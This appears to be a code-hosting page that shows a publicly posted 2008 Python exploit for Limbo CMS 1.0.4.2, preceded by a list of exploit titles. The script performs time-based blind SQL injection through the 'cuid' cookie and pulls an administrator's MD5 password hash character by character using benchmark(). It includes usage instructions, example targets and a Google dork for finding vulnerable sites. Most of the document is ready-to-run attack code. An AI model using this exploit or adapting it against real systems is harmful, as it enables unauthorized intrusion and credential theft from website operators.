477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
128 lines
6.9 KiB
Python
Executable file
128 lines
6.9 KiB
Python
Executable file
#!/usr/bin/python
|
|
#=================================================================================================#
|
|
# ____ __________ __ ____ __ #
|
|
# /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ #
|
|
# | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ #
|
|
# | | | \ | |/ \ \___| | /_____/ | || | #
|
|
# |___|___| /\__| /______ /\___ >__| |___||__| #
|
|
# \/\______| \/ \/ #
|
|
#=================================================================================================#
|
|
# This is a Public Exploit. #
|
|
# Date: 08/02/2008 [dd,mm,yyyy] #
|
|
# #
|
|
#=================================================================================================#
|
|
# Limbo 1.0.4.2 And Probably Lower Blind Sql Injection Exploit Benchmark Method #
|
|
# #
|
|
# Vendor: http://www.limbo-cms.com #
|
|
# Severity: Highest #
|
|
# Author: The:Paradox #
|
|
#=================================================================================================#
|
|
# Proud To Be Italian. #
|
|
#=================================================================================================#
|
|
"""
|
|
Related Codes:
|
|
class_auth.php; line 92:
|
|
|
|
function Auth()
|
|
{
|
|
if(isset($_SESSION['uid']) && $_SESSION['uid']!='')
|
|
{
|
|
$this->id=$_SESSION['uid'];
|
|
$this->initlogin();
|
|
return;
|
|
}
|
|
//cokkie
|
|
|
|
if(isset($_COOKIE['cuid']) && isset($_COOKIE['cusername']) && isset($_COOKIE['cpassword']))
|
|
{
|
|
global $conn,$lm_rand;
|
|
$row=$conn->GetRow("SELECT * FROM #__users WHERE id=".$_COOKIE['cuid']);
|
|
if($_COOKIE['cusername']==$row['username'] && $_COOKIE['cpassword']==md5($lm_rand.$row['password']) ) {
|
|
$this->id=$_COOKIE['cuid'];
|
|
$this->initlogin();
|
|
}
|
|
}
|
|
}
|
|
|
|
"""
|
|
#=================================================================================================#
|
|
# Proof Of Concept / Bug Explanation: #
|
|
# #
|
|
# Cuid cookie isn't propelly checked. Blind Sql Injection Vulnerability. In this exploit I'll use #
|
|
# benchmark method. #
|
|
# Additionally database prefix isn't needed, 'cause the coder automatically replaces "#__" with #
|
|
# the prefix in GetRow Function (is a REAL bad practice) . #
|
|
# Limbo allows also an installation without sql database (Flat). I'm working on it. #
|
|
# This exploit cannot work on that type of installation. #
|
|
#=================================================================================================#
|
|
# Google Dork=> Site powered By Limbo CMS #
|
|
#=================================================================================================#
|
|
# Use this at your own risk. You are responsible for your own deeds. #
|
|
#=================================================================================================#
|
|
# Python Exploit Starts #
|
|
#=================================================================================================#
|
|
|
|
import httplib, sys, time
|
|
print "\n#=========================================================#"
|
|
print " Limbo CMS 1.0.4.2 And Probably Lower "
|
|
print " Blind Sql Injection Vulnerability "
|
|
print " Benchmark Method "
|
|
print " "
|
|
print " Discovered By The:Paradox "
|
|
print " "
|
|
print " Usage: "
|
|
print " %s [Target] [Path] [User_id] " % (sys.argv[0])
|
|
print " "
|
|
print " Example: "
|
|
print " %s 127.0.0.1 /limbo/ 1 " % (sys.argv[0])
|
|
print " %s www.host.com / 1 " % (sys.argv[0])
|
|
print " "
|
|
print " "
|
|
print "#=========================================================#\n"
|
|
if len(sys.argv)<=3: sys.exit()
|
|
else: print "[.]Exploit Starting."
|
|
|
|
target = sys.argv[1]
|
|
path = sys.argv[2]
|
|
user_id = sys.argv[3]
|
|
|
|
benchmark = "200000000" #Set This One
|
|
vtime = 6 #Set This One
|
|
port = "80"
|
|
|
|
j=1
|
|
h4sh = ""
|
|
md5tuple = []
|
|
|
|
for k in range(48,58): # 48->57 and 97->102
|
|
md5tuple.append(k)
|
|
for k in range(97,103):
|
|
md5tuple.append(k)
|
|
md5tuple.append('END')
|
|
#Query will Result like this one ===> SELECT * FROM #__users WHERE id=(SELECT/**/IF((ASCII(SUBSTRING(password,1,1))=50),benchmark(30000000,CHAR(0)),null)/**/FROM/**/#__users/**/WHERE/**/id=1)
|
|
print "[.]Blind Sql Injection Starts.\n\nHash:"
|
|
while j <= 32:
|
|
for i in md5tuple:
|
|
if i == 'END': sys.exit('[-]Exploit Failed.\n')
|
|
|
|
start = time.time()
|
|
conn = httplib.HTTPConnection(target,port)
|
|
|
|
|
|
conn.request("GET", path + "admin.php", {}, {"Accept": "text/plain","Cookie": "cpassword=1; cusername=1; cuid=(SELECT/**/IF((ASCII(SUBSTRING(password," + str(j) + ",1))=" + str(i) + "),benchmark(" + benchmark + ",CHAR(0)),null)/**/FROM/**/#__users/**/WHERE/**/id="+user_id+");"})
|
|
response = conn.getresponse()
|
|
read = response.read()
|
|
|
|
if response.status == 404: sys.exit('[-]Error 404. Not Found.')
|
|
now = time.time()
|
|
|
|
if now - start > vtime:
|
|
sys.stdout.write(chr(i))
|
|
sys.stdout.flush()
|
|
h4sh += chr(i)
|
|
j += 1
|
|
break;
|
|
|
|
print "\n\n[+]All Done.\n-=Paradox Got This One=-"
|
|
|
|
# milw0rm.com [2008-02-09]
|